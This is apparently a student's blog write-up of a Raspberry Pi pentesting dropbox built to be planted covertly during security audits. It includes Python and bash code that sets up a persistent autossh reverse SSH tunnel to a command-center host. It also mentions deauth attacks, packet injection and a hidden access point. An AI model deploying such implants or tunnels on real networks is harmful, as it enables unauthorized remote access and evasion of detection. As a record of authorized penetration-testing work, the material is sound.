Developing the Rogue Pi

Developing the Rogue Pi for my final project at BCIT was a great experience. It provided me the opportunity to play around with the Raspberry Pi and build something of valuable use. Instead of copying and pasting my final report into here, I will instead focus on a few points of the project that I found the most interesting.

Side Note: A full report with diagrams, installation guides, and all code will be uploaded at a later date.

60 Second Deployment

During a security audit scenario, the analyst is planting a device inside a network room. Spending a lot of time making sure the dropbox is working is out of the question. To minimize the risk of detection,  the Rogue Pi has been specially tweaked to allow for a speedy boot-up time meaning it can execute and complete the On Board System Check faster.

From the moment the Rogue Pi is powered up, it takes exactly 60 seconds for the device to boot-up, start the On Board System Check, and run through the tests. After the time is up, the analyst will know if the Rogue Pi has obtained Internet connectivity, pinged the default gateway, obtained an IP address, and connected back out through the reverse tunnel successfully. You can view the bootup time report at the bottom of this post. The BootChart gives a full breakdown of all the services and their respective startup times.

On Board System Check

The visual feedback system was definitely the most fun to develop because it gave me the chance to play around with the i2c bus and connect an external component to the Raspberry Pi via the GPIO interface.  No longer was I looking at a console to see if a throw statement spit out an error. Instead I was watching the Rogue Pi to see if the deep red hue was emitting from the LCD. When checks did go as intended I was greeted with a green display letting me know my code might be working – key word might.Developing the Rogue Pi

#! /usr/bin/env python
# ______                           ______ __
# |   __ \.-----.-----.--.--.-----.|   __ \__|
# |      <|  _  |  _  |  |  |  -__||    __/  |
# |___|__||_____|___  |_____|_____||___|  |__|
#               |_____|              v1.0
#
# Author:	Kalen Wessel
# Date: 	February 16th, 2013
 
from time import sleep
from Adafruit_I2C import Adafruit_I2C
from Adafruit_MCP230xx import Adafruit_MCP230XX
from Adafruit_CharLCDPlate import Adafruit_CharLCDPlate
from subprocess import call
from sys import exit
from ConfigParser import SafeConfigParser
 
import smbus
import subprocess
import re
import socket
import fcntl
import struct
import paramiko
import socket
import signal
 
# DEFINE network interface
iface = 'eth0'
 
# INI file config file
# Load in user name and IP address of command center 
# for the reverse shell test
parser = SafeConfigParser()
parser.read('/home/sec/.reverse_config/setting.conf')
 
ccIP = parser.get('reverse_shell', 'reverseDest')
 
# initialize the LCD plate
# use busnum = 0 for raspi version 1 (256MB) and busnum = 1 for version 2
lcd = Adafruit_CharLCDPlate(busnum = 1)
 
def TimeoutException(): 
	lcd.clear()
	lcd.backlight(lcd.OFF)
	exit()
 
def timeout(signum, frame):
    raise TimeoutException()
 
# Function which gets the IP address of a network interface
def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        s.fileno(),
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15])
    )[20:24])
 
# Function which gets the Default Gateway IP address
def get_gateway(ifname):
 
    proc = subprocess.Popen("ip route list dev " + ifname + " | awk ' /^default/ {print $3}'", \
	shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
 
    return_code = proc.wait()
    for line in proc.stdout:
        line
 
    return line
 
def main():
	while 1:
 
		if (lcd.buttonPressed(lcd.LEFT)):
			signal.alarm(0)
			init_test()
 
		if (lcd.buttonPressed(lcd.RIGHT)):
			# End of system check
			lcd.backlight(lcd.OFF)
			exit()
 
# Function for running all of the system tests
def init_test():
 
	# clear display
	lcd.clear()
 
    # Commented out to speed up overal test time
	# Starting On Board System Check
	lcd.backlight(lcd.BLUE)
	lcd.message("    Rogue Pi\n  Kalen Wessel")
	sleep(21)
 
	# ---------------------
	# | Ping System Check |
	# ---------------------
 
	# Put stderr and stdout into pipes
	proc = subprocess.Popen("ping -c 2 google.com 2>&1", \
			shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
 
	return_code = proc.wait()
 
	# Read from pipes
	# stdout
	for line in proc.stdout:
		if "loss" in line:
			packet_loss = progress = re.search('\d*%',line).group()
			if int(packet_loss.split('%')[0]) > 0:
				lcd.clear()
				lcd.backlight(lcd.RED)
				lcd.message("Ping Google:\nFailed")
				sleep(1)
				#print packet_loss + " packet loss."
			else:
				lcd.clear()
				lcd.backlight(lcd.GREEN)
				lcd.message("Ping Google:\nSuccess")
				sleep(1)
	#stderr
	for line in proc.stderr:
		print("stderr: " + line.rstrip())
 
	# --------------------
	# | Ping Default GW  |
	# --------------------
	ip_gateway = get_gateway(iface)
 
	proc = subprocess.Popen ("ping -c 2 " + ip_gateway + " 2>&1", \
			shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
 
	return_code = proc.wait()
 
	# Read from pipes
	# stdout
	for line in proc.stdout:
	   if "loss" in line:
		   packet_loss = re.search('\d*%',line).group()
		   if int(packet_loss.split('%')[0]) > 0:
			   lcd.clear()
			   lcd.backlight(lcd.RED)
			   lcd.message("Ping Gateway:\nFailed")
			   sleep(1)
			   #print ip_gateway + packet_loss + " packet loss for gateway." 
		   else:
			   lcd.clear()
			   lcd.backlight(lcd.GREEN)
			   lcd.message("Ping Gateway:\nSuccess")
			   sleep(1)
			   #print "Gateway is reachable"  
	# stderr
	for line in proc.stderr:
		print("stderr: " + line.rstrip())
 
	# --------------------
	# | DHCP IP Address  |
	# --------------------
 
	try :
		ip_address = get_ip_address(iface)
		lcd.clear()
		lcd.backlight(lcd.GREEN)
		lcd.message("IP:\n" + ip_address)
		sleep(1)
	except :
		lcd.clear()
		lcd.backlight(lcd.RED)
		lcd.message("No IP obtained")
		sleep(1)
 
	# -------------------
	# |  Reverse Shell  |
	# -------------------
	try:
		ssh = paramiko.SSHClient()
		ssh.load_system_host_keys()
		ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
		ssh.connect(ccIP, username='twi7ch', password='none')
	except paramiko.AuthenticationException:
		lcd.clear()
		lcd.backlight(lcd.GREEN)
		lcd.message("Reverse Tunnel:\nSuccess")
		sleep(1)
	except socket.error:
		lcd.clear()
		lcd.message("Reverse Shell: \nFailed")
		lcd.backlight(lcd.RED)
		sleep(1)
 
	# Do we want to rerun the test?
	lcd.clear()
	lcd.backlight(lcd.YELLOW)
	lcd.message("Run test again?")
	sleep(1)
	lcd.clear()
 
	lcd.message("Yes = Left Btn\nNo = Right Btn")
	signal.signal(signal.SIGALRM, timeout)
 
	#change 5 to however many seconds you need
	signal.alarm(10)
	try:
		main()
	except TimeoutException:
		exit()
 
# Start the on board system check
init_test()			
 
main()

Reverse Tunnel

Setting up and testing the reverse tunnel was another important milestone in the progress of the Rogue Pi. Setting up a persistent reverse SSH tunnel over Ethernet is the bread and butter of any pentesting dropbox. Without having the ability to gain access to the device on the corporate network, the device is pretty much rendered useless.

Since I have multiple services calling for usernames and passwords, I created a standard config file which gets read into autossh. I also have the Python code which handles the On Board System check. This is the layout of the config. It’s nothing fancy, but it works and allows for IP addresses and usernames to be managed from one location.

/home/sec/.reverse_config/setting.conf

[reverse_shell]
userName    = backd00ruser!
reverseDest = 192.168.1.144

This is where the magic happens:
/etc/tunnel/tunnel.sh

#!/bin/bash
set +e
SSH_OPTIONS=" -i /etc/tunnel/id_rsa"
# Always assume initial connection will be successful
 
export AUTOSSH_GATETIME=0
# Disable echo service, relying on SSH exiting itself
export AUTOSSH_PORT=0
 
# Read in the config file to grab the correct IP address
i=0
while read line; do
if [[ "$line" =~ ^[^#]*= ]]; then
        name[i]=`echo $line | cut -d'=' -f 1`
            value[i]=`echo $line | cut -d'=' -f 2-`
        ((i++))
fi
done < /home/sec/.reverse_config/setting.conf destUser=${value[0]} destIP=${value[1]} #to test, use (check out man ssh for explanation of options: #autossh -vv -- $SSH_OPTIONS -o 'ControlPath none' -R 10101:localhost:22 [email protected] -N > /var/tunnel/user_sshlog.out 2> /var/tunnel/user_ssh_error.out &
 
#once proven, use (and rem out previous command):
autossh -vv -f -- $SSH_OPTIONS -o 'ControlPath none' -R 10101:localhost:22 ${destUser//[[:space:]]}@${destIP//[[:space:]]} -N > /var/log/tunnel/user_sshlog.out 2> /var/log/tunnel/user_ssh_error.out &

Below is an image showing what happens when the reverse SSH tunnel cannot connect back to the Command Center.Developing the Rogue Pi schematic

Wireless Surveillance

Every office I’ve walked into has a few access points broadcasting SSIDs that are ready to be passively or actively probed. The 802.11 protocol is used by so many utilities now a days that is is a must to sniff the airwaves during a pentest. This is why the Rogue Pi is equipped with a wireless USB adapter; allowing for deauth attacks, capturing / packet injection, and creating Rogue Access Points.

Quick tip: When installing the aircrack-ng suite on Raspbian, pull from the following svn and run make with the unstable flag. The reason for unstable flag is to allow the use of the flag –ignore-negative-one. Depending on which wireless adapter you use, there is a kernel issue where it won’t allow you to select a broadcast channel. So to bypass this you use the –ignore-negative-one flag.

Hidden Access Point

The following setup will allow the user to access the Rogue Pi through the hidden SSID. This will allow for access to the device in the case where eth0 drops and cannot reinitialize a connection. Of course the major limitation is wireless range. The user must be within a 30 meter radius of the device in hopes of obtaining a strong enough signal.

Donwload the following services for running an Access Point on the Pi.

sudo apt-get install rfkill hostapd hostap-utils iw dnsmasq
Edit the network interface so that wlan0 automatically start onboot.

 

For more detail: Developing the Rogue Pi

Scroll to Top